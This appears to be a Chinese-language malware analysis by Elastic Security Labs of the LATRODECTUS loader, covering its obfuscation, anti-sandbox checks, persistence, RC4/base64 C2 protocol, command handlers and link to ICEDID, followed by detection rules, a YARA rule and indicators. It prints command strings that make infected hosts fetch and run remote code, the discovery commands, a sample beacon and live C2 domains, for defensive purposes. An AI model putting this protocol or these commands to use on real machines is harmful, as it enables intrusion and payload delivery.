LATRODECTUS 概览
LATRODECTUS 由 Walmart 研究人员于 2023 年 10 月首次发现,是一种在网络犯罪分子中越来越受欢迎的恶意软件加载器。LATRODECTUS虽然被认为是一个新的系列,但由于行为和开发上的相似性,包括一个下载和执行加密有效载荷(如 ICEDID)的命令处理程序,LATRODECTUS 与 ICEDID 之间存在很强的联系。Proofpoint 和 Team Cymru 基于此联系发现 ICEDID 和 LATRODECTUS 的运营商使用的网络基础设施之间存在很强的联系。
LATRODECTUS 提供一系列全面的标准功能,威胁行为者可以利用这些功能部署进一步的有效载荷,在初始入侵后进行各种活动。代码库没有混淆,仅包含 11 个专注于枚举和执行的命令处理程序。这种类型的加载器代表了我们团队观察到的最新趋势,例如 PIKABOT,代码更加轻量化和直接,处理程序数量有限。
本文将重点介绍 LATRODECTUS 本身,分析其最重要的功能并分享资源,以应对这种具有财务影响的威胁。
要点
- LATRODECTUS 最初由 Walmart 研究人员于去年发现,目前在最近以经济利益为动机的活动中继续被采用
- LATRODECTUS 是 ICEDID 的潜在替代品,与 ICEDID 具有相似之处,包括执行 ICEDID 有效载荷的命令处理程序
- 自其问世以来,我们观察到新的事件处理程序(进程发现、桌面文件列表)以及集成了删除正在运行的文件的自删除技术
- Elastic Security 通过内存签名、行为规则和搜寻机会提供了高度的能力,以应对像 LATRODECTUS 这样的威胁
LATRODECTUS 活动概述
从 2024 年 3 月初开始,Elastic 安全实验室观察到交付 LATRODECTUS 的电子邮件活动有所增加。这些活动通常涉及一个可识别的感染链,其中包含利用 WMI 调用 msiexec.exe 并安装远程托管在 WEBDAV 共享上的 MSI 文件的超大 JavaScript 文件。
随着过去一年加载器领域的重大变化,例如 QBOT 的查封和 ICEDID 的停止,我们看到诸如 PIKABOT 和 LATRODECTUS 之类的新加载器已经出现,可能成为替代品。
LATRODECTUS 分析
我们的 LATRODECTUS 样本最初包装了文件信息,伪装成 Bitdefender 内核模式驱动程序 (TRUFOS.SYS) 的组件,如下图所示。
为了继续进行恶意软件分析,必须手动或通过诸如 UnpacMe 之类的自动解包服务来解包样本。
LATRODECTUS 是一个 DLL,具有 4 个不同的导出,每个导出都分配了相同的导出地址。
字符串混淆
LATRODECTUS 中的所有字符串都使用一种直接的算法来保护加密字节,并通过执行算术和按位运算来应用转换。2023 年发布的初始报告详细介绍了一种 PRNG 算法,但我们的样本中未观察到该算法,这表明该加载器正在不断开发。下面是使用我们的 nightMARE 框架在 Python 中实现的算法
def decrypt_string(encrypted_bytes: bytes) -> bytes:
x = cast.u32(encrypted_bytes[:4])
y = cast.u16(encrypted_bytes[4:6])
byte_size = cast.u16(cast.p32(x ^ y)[:2])
decoded_bytes = bytearray(byte_size)
for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
decoded_bytes[i] = ((x + i + 1) ^ b) % 256
return bytes(decoded_bytes)
运行时 API
LATRODECTUS 会混淆其大部分导入,直到运行时。在程序开始时,它会查询 PEB,并结合使用 CRC32 校验和来解析 kernel32.dll
和 ntdll.dll
模块及其函数。为了解析其他库,例如 user32.dll
或 wininet.dll
,该恶意软件会采取不同的方法,在 Windows 系统目录中执行通配符搜索 (*.dll
)。它检索每个 DLL 文件名,并将其直接传递给 CRC32 校验和函数。
反分析
当所有导入都解析完毕后,LATRODECTUS 会执行多个串行反分析检查。首先通过查找进程环境块 (PEB) 中的 BeingDebugged 标志来监视调试器。如果检测到调试器,程序将终止。
为了避免可能只有少量活动进程的沙箱或虚拟机,使用两个验证检查来结合正在运行的进程数量和操作系统产品版本。
为了解释 Windows 操作系统版本之间的主要差异,开发人员使用基于 Windows 中主要/次要版本和内部版本号的自定义枚举。
之前的两个条件转换为:
- 如果进程数量少于 75 并且操作系统版本是最近的版本(如 Windows 10、Windows Server 2016 或 Windows 11),则 LATRODECTUS 将退出
- 如果进程数量少于 50 并且操作系统版本是较旧的版本(如 Windows Server 2003 R2、Windows XP、Windows 2000、Windows 7、Windows 8 或 Windows Server 2012/R2),则 LATRODECTUS 将退出
在沙箱检查之后,LATRODECTUS 会验证当前进程是否在 WOW64 下运行,WOW64 是 Windows 操作系统的子系统,允许在 64 位系统上运行 32 位应用程序。如果为真(在 64 位操作系统上作为 32 位应用程序运行),则恶意软件将退出。
最后一次检查是基于通过 iphlpapi.dll
中的 GetAdaptersInfo()
调用来验证 MAC 地址。如果没有有效的 MAC 地址,恶意软件也将终止。
互斥
此恶意软件使用字符串 runnung
作为互斥锁,以防止主机上的重复感染,这可能是开发人员的意外拼写错误。
硬件 ID
创建互斥锁后,LATRODECTUS 将生成一个硬件 ID,该 ID 由机器的卷序列号播种,并结合乘以硬编码常数 (0x19660D
)。
活动 ID
在此阶段,我们样本中解密的活动名称 (Littlehw
) 用作种子,传递到 Fowler–Noll–Vo 哈希函数。这将生成一个哈希值,攻击者可以使用该哈希值来跟踪不同的活动和相关的受害者机器。
设置/持久性
恶意软件将使用配置参数生成一个文件夹路径,这些参数确定 LATRODECTUS 将被放置在磁盘上的位置,例如以下目录
AppData
桌面
启动
个人
Local\AppData
我们的样本配置为 AppData
位置,使用硬编码目录字符串 Custom_update
以及一个硬编码文件名 Update_
,该文件名与从卷序列号播种的数字连接在一起。下面是虚拟机中的完整文件路径
C:\Users\REM\AppData\Roaming\Custom_update\Update_88d58563.dll
该恶意软件将检查是否存在文件 AppData\Roaming\Custom_update\update_data.dat
以从中读取数据。如果该文件不存在,它将先创建目录,然后在该目录中写入自身的副本。
复制文件后,LATRODECTUS 将使用前面描述的字符串解密函数,从全局配置中检索两个 C2 域名。
在执行用于命令分发的主线程之前,LATRODECTUS 使用 Windows 组件对象模型 (COM) 设置一个计划任务以实现持久化。
在我们的示例中,任务名称硬编码为 Updater
,并计划在成功登录时执行。
自我删除
自我删除是 LATRODECTUS 采用的一项值得注意的技术。它由 Jonas Lykkegaard 发现,并由 Lloyd Davies 在 delete-self-poc 仓库中实现。该技术允许 LATRODECTUS 在进程仍在运行时使用备用数据流删除自身。
Elastic Security Labs 已经看到此技术被诸如 ROOK 勒索软件家族等恶意软件采用。其可能的目的是通过干扰收集和分析来阻碍事件响应过程。编译后的恶意软件包含一个 字符串 (:wtfbbq
),该字符串存在于存储库中。
此技术在感染开始时以及恶意软件使用事件处理程序 #15 执行更新时均可观察到。Elastic Security Labs 创建了一个 CAPA 规则,以帮助其他组织在分析各种恶意软件时通用地识别此行为。
通信
LATRODECTUS 使用 base64 和 RC4 对其请求进行加密,硬编码密码为 12345
。第一个通过 HTTPS 发送的 POST 请求包含受害者信息和配置详细信息,用于注册受感染的系统。
POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache
M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O
以下是第一个请求中发送的解密内容的示例
counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&mac=00:0c:24:0e:29:85;&computername=DESKTOP-3C4ILHO&domain=-
名称 | 描述 |
---|---|
计数器 | 每次回调时 C2 请求的数量递增 1 |
类型 | 请求类型(注册等) |
guid | 由卷序列号生成的硬件 ID |
操作系统 | Windows 操作系统产品版本 |
架构 | Windows 架构版本 |
用户名 | 受感染机器的用户名 |
组 | 由二进制文件中具有 FNV 的唯一字符串生成的活动标识符 |
版本 | LATRODECTUS 版本 |
up | 未知 |
方向 | C2 域名 |
mac | MAC 地址 |
计算机名称 | 受感染机器的主机名 |
域 | 属于受感染机器的域 |
每个请求都使用对象类型、整数值和相应的参数进行管道分隔。有 4 种对象类型,用于路由攻击者控制的命令(CLEARURL、URLS、COMMAND、ERROR)。
主事件处理程序通过 COMMAND 对象类型传递,带有处理程序 ID 及其各自的参数。
COMMAND|12|http://www.meow123.com/test
CLEARURL 对象类型用于删除任何配置的域名。URLS 对象类型允许攻击者切换到新的 C2 URL。最后一个对象类型 ERROR 目前未配置。
Bot 功能
LATRODECTUS 的核心功能是通过其命令处理程序驱动的。这些处理程序用于从受害者机器收集信息、提供执行能力以及配置植入程序。自最初的 发布 以来,我们已经看到增加了两个额外的处理程序(检索进程、桌面列表),这可能表明该代码库仍然活跃且在不断变化。
命令 ID | 描述 |
---|---|
2 | 从桌面目录检索文件列表 |
3 | 检索进程沿袭 |
4 | 收集系统信息 |
12 | 下载并执行 PE |
13 | 下载并执行 DLL |
14 | 下载并执行 Shellcode |
15 | 执行更新,重启 |
17 | 终止自身进程和线程 |
18 | 下载并执行 ICEDID 有效载荷 |
19 | 增加 Beacon 超时 |
20 | 重置请求计数器 |
桌面列表 - 命令 ID (2)
此命令处理程序将检索用户桌面的内容列表,开发人员将其称为 desklinks
。此数据将被加密并附加到出站信标请求中。这用于快速枚举和验证受害者环境。
示例请求:
counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&desklinks=["OneDrive.lnk","OneNote.lnk","PowerPoint.lnk","Notepad++.lnk","Excel.lnk","Google Chrome.lnk","Snipping Tool.lnk","Notepad.lnk","Paint.lnk"]
进程沿袭 - 命令 ID (3)
此事件处理程序被开发人员称为 proclist,它通过 CreateToolhelp32Snapshot API 从受感染的机器收集整个正在运行的进程沿袭。
与安全研究人员一样,恶意软件作者对进程父/子关系感兴趣,以进行决策。LATRODECTUS 的作者甚至收集有关进程孙辈的信息,可能是为了验证不同的受损环境。
收集系统信息 - 命令 ID (4)
此命令处理程序创建一个新线程,该线程运行以下系统发现/枚举命令,每个命令都可能是一个潜在的检测机会
C:\Windows\System32\cmd.exe /c ipconfig /all
C:\Windows\System32\cmd.exe /c systeminfo
C:\Windows\System32\cmd.exe /c nltest /domain_trusts
C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
C:\Windows\System32\cmd.exe /c net view /all /domain
C:\Windows\System32\cmd.exe /c net view /all
C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain
C:\Windows\System32\wbem\wmic.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List
C:\Windows\System32\cmd.exe /c net config workstation
C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
C:\Windows\System32\cmd.exe /c whoami /groups
每个输出都放置在带有相应收集数据的 URI 中
&ipconfig=
&systeminfo=
&domain_trusts=
&domain_trusts_all=
&net_view_all_domain=
&net_view_all=
&net_group=
&wmic=
&net_config_ws=
&net_wmic_av=
&whoami_group=
下载并执行 PE - 命令 ID (12)
此处理程序从 C2 服务器下载 PE 文件,然后将内容写入磁盘,并使用随机生成的文件名,然后执行该文件。
以下是在我们的环境中使用此处理程序的示例
下载并执行 DLL - 命令 ID (13)
此命令处理程序从 C2 服务器下载 DLL,将其写入磁盘,并使用随机生成的文件名,然后使用 rundll32.exe 执行 DLL。
下载并执行 Shellcode - 命令 (14)
此命令处理程序通过 InternetReadFile
从 C2 服务器下载 Shellcode,分配并将 Shellcode 复制到内存中,然后使用指向 Shellcode 的新线程直接调用它。
更新/重启 - 命令 ID (15)
此处理程序似乎是对恶意软件执行二进制更新,其中下载了恶意软件,通知了现有线程/互斥锁,然后将其释放。随后删除该文件,下载/执行新的二进制文件,然后终止现有进程。
终止 - 命令 ID (17)
此处理程序将终止现有的 LATRODECTUS 进程。
下载并执行托管 ICEID 有效载荷 - 命令 ID (18)
此命令处理程序从 LATRODECTUS 服务器下载两个 ICEDID 组件,并使用生成的 rundll32.exe
进程执行它们。但是,我们个人没有观察到在野外使用的情况。
该处理程序在 AppData\Roaming\
目录中创建一个包含两个文件的文件夹。这些文件路径和文件名由自定义随机数生成器生成,我们将在下一节中回顾。在我们的例子中,这个新的文件夹位置是
C:\Users\REM\AppData\Roaming\-632116337
它从 C2 服务器检索一个文件 (test.dll
),即标准的 ICEDID 加载器,它使用随机生成的文件名 (-456638727.dll
) 写入磁盘。
然后,LATRODECTUS 将执行类似步骤,为 ICEDID 有效载荷 (1431684209.dat
) 生成一个随机文件名。在执行下载之前,它将设置参数以正确加载 ICEDID。如果您过去遇到过 ICEDID,那么命令行中的这一部分应该看起来很熟悉:它用于调用加载程序的 ICEDID 导出,同时传递到加密 ICEDID 有效载荷文件的相对路径。
init -zzzz="-632116337\1431684209.dat"
LATRODECUS 使用硬编码的 URI (/files/bp.dat
) 从配置的 C2 服务器发起第二个下载请求,该请求写入文件 (1431684209.dat
)。分析 bp.dat
文件后,研究人员将其识别为传统的加密 ICEDID 有效载荷,通常称为 license.dat
。
解密文件后,恶意软件研究人员注意到文件前面附加了一个熟悉的 129 字节垃圾字节序列,然后是自定义节头。
我们的团队能够重新访问之前的工具并成功解密此文件,使我们能够重建 PE (ICEDID)。
此时,ICEDID 加载程序和加密的有效载荷已下载到同一文件夹。
然后,使用 CreateProcessW 通过 rundll32.exe
使用各自的参数一起执行这些文件。以下是观察到的命令行
rundll32.exe C:\Users\REM\AppData\Roaming\-632116337\-456638727.dll,init -zzzz="-632116337\1431684209.dat"
使用我们的 ICEDID YARA 规则扫描 LATRODECTUS 生成的 rundll32.exe
子进程也表明存在 ICEDID。
Beacon 超时 - 命令 ID (19)
LATRODECTUS 支持信标 C2 的抖动。由于这会给信标间隔带来随机性,因此这使得防御者更难以通过网络源进行检测。
为了计算超时,它通过将用户在屏幕上的光标位置乘以系统的正常运行时间 (GetTickCount
) 的组合来生成一个随机数。此结果作为参数传递给 RtlRandomEx。
重置计数器 - 命令 ID (20)
此命令处理程序将重置在每个通信请求中传递的请求计数器。例如,在第三次回调时,此处填充为 3。使用此功能,开发人员可以从 0 开始重置计数。
counter=3&type=4&guid=638507385
LATRODECTUS / ICEDID 连接
ICEDID 和 LATRODECTUS 之间肯定存在某种开发连接或工作安排。以下是一些观察到的相似之处
- 系统发现处理程序中的相同枚举命令
- DLL 导出都指向相同的导出函数地址,这是 ICEDID 有效载荷的常见观察结果
- C2 数据在 C2 流量请求中作为变量连接在一起
- 从处理程序 (#18) 下载的
bp.dat
文件用于通过rundll32.exe
执行 ICEDID 有效载荷 - 这些函数看起来以类似的方式编码
研究人员并未得出 ICEDID 和 LATRODECTUS 家族之间存在明确关系的结论,尽管它们表面上至少有联系。ICEDID 具有更成熟的功能,例如用于数据盗窃或 BackConnect 模块的功能,并且在过去几年中得到了充分的记录。一种被考虑的假设是,LATRODECTUS 正在被积极开发为 ICEDID 的替代品,并且包含处理程序 (#18) 是为了让恶意软件作者对 LATRODECTUS 的功能感到满意。
沙盒测试 LATRODECTUS
为了评估 LATRODECTUS 的检测情况,我们设置了一个 Flask 服务器,配置了不同的处理程序,以指示受感染的机器在沙盒环境中执行各种操作。这种方法为防御者提供了一个很好的机会来评估他们的检测和日志记录工具在每种功能上的有效性。可以根据需要交换不同的 payload,例如 shellcode/二进制文件。
例如,对于 DLL 的下载和执行(处理程序 #13),我们可以向命令调度器提供以下请求结构(对象类型、处理程序、处理程序的参数)
COMMAND|13|http://www.meow123.com/dll, ShowMessage
以下示例描述了前面描述的 RC4 加密字符串,该字符串已进行 Base64 编码。
E3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=
使用以下 CyberChef 配方,分析师可以生成加密的命令请求
通过使用实际的恶意软件代码库并使用低风险框架执行这些不同的处理程序,防御者可以了解其安全工具记录的事件、警报和日志。
检测 LATRODECTUS
以下 Elastic Defend 保护功能在 LATRODECTUS 恶意软件感染过程中触发
以下是预构建的、与 MITRE ATT&CK 对齐的规则及其描述
ATT&CK 技术 | Elastic 规则 | 描述 |
---|---|---|
T1059.007 - Javascript T1027 - 混淆的文件或信息 | 可疑的超大脚本执行 | LATRODECTUS 通过超大的 Javascript 文件交付,平均超过 800KB,其中填充了随机文本。 |
T1047 - Windows 管理工具 | 通过可疑的 WMI 客户端执行 | Javascript 下载程序调用 WMI 来挂载 WEBDAV 共享,并调用 msiexec 来安装远程 msi 文件。 |
T1218.007 - Misexec | 通过 MSIEXEC 远程文件执行 可疑的 MsiExec 子进程 | MSI 文件托管在远程 Webdav 上,并以静默模式执行。执行后,它会删除一个 DLL,并启动 rundll32 以通过 Advanced installer viewer.exe 二进制文件加载它。 |
T1218.011 - Rundll32 | Rundll32 或 Regsvr32 从未备份的内存加载 DLL | Rundll32 从 AppData 加载 LATRODECTUS DLL 并启动代码注入。 |
T1055 - 进程注入 | 内存威胁检测警报:Shellcode 注入 来自未签名 DLL 的 VirtualProtect API 调用 来自低信誉模块的 Shellcode 执行 从可疑的未备份内存加载的网络模块 | Shellcode 执行会触发 3 个端点行为警报和一个内存威胁检测警报。 |
T1053.005 - 计划任务 | 由不寻常进程创建的计划任务 | LATRODECTUS 可能会使用计划任务(rundll32 将创建计划任务)进行持久化。 |
T1070.004 - 文件删除 | 正在运行的可执行文件的潜在自我删除 | 作为恶意软件 DLL 自我更新命令的一部分,并且当 DLL 未从 AppData 运行时,LATRODECTUS 将在运行时删除自身,并从新路径重新启动或利用 此技术 运行其更新版本。 |
T1059.003 - Windows 命令 Shell | 通过 RunDLL32 启动的命令 Shell 活动 | LATRODECTUS 命令 ID (4) - 通过一系列 cmd.exe 执行收集系统信息。 |
以下列表的搜索和检测查询可用于检测 LATRODECTUS 针对执行的后渗透命令
Rundll32 下载 PE/DLL(命令处理程序 #12、#13 和 #18)
sequence by process.entity_id with maxspan=1s
[file where event.action == "creation" and process.name : "rundll32.exe" and
/* PE file header dropped to the InetCache folder */
file.Ext.header_bytes : "4d5a*" and file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*"]
[network where process.name : "rundll32.exe" and
event.action : ("disconnect_received", "connection_attempted") and
/* network disconnect activity to a public Ip address */
not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8", "192.168.0.0/16")]
以下是一个 ES|QL 搜索,用于查找 rundll32 与公共 IP 地址(这不常见)的长期和/或高计数网络连接
from logs-endpoint.events.network-*
| where host.os.family == "windows" and event.category == "network" and
network.direction == "egress" and process.name == "rundll32.exe" and
/* excluding private IP ranges */
not CIDR_MATCH(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1","FE80::/10", "FF00::/8")
| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name
/* calc total duration and the number of connections per hour */
| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name
| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)
| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections
| where count_connections >= 100
以下是 Elastic Defend 在 LATRODECTUS 内存签名上触发的屏幕截图
YARA
Elastic Security 已创建 YARA 规则来识别 LATRODECTUS
rule Windows_Trojan_LATRODECTUS_841ff697 {
meta:
author = "Elastic Security"
creation_date = "2024-03-13"
last_modified = "2024-04-05"
license = "Elastic License v2"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.LATRODECTUS"
reference_sample = "aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c"
strings:
$Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }
$crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }
$delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }
$Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }
$handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }
$hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }
$string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }
$campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }
condition:
2 of them
}
观察结果
本研究中讨论了以下可观察对象。
可观察对象 | 类型 | 名称 | 参考 |
---|---|---|---|
aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c | SHA-256 | TRUFOS.DLL | LATRODECTUS |
aytobusesre.com | 域 | LATRODECTUS C2 | |
scifimond.com | 域 | LATRODECTUS C2 | |
gyxplonto.com | 域 | ICEDID C2 | |
neaachar.com | 域 | ICEDID C2 |
参考
以下内容在以上研究中被引用
- https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39
- https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice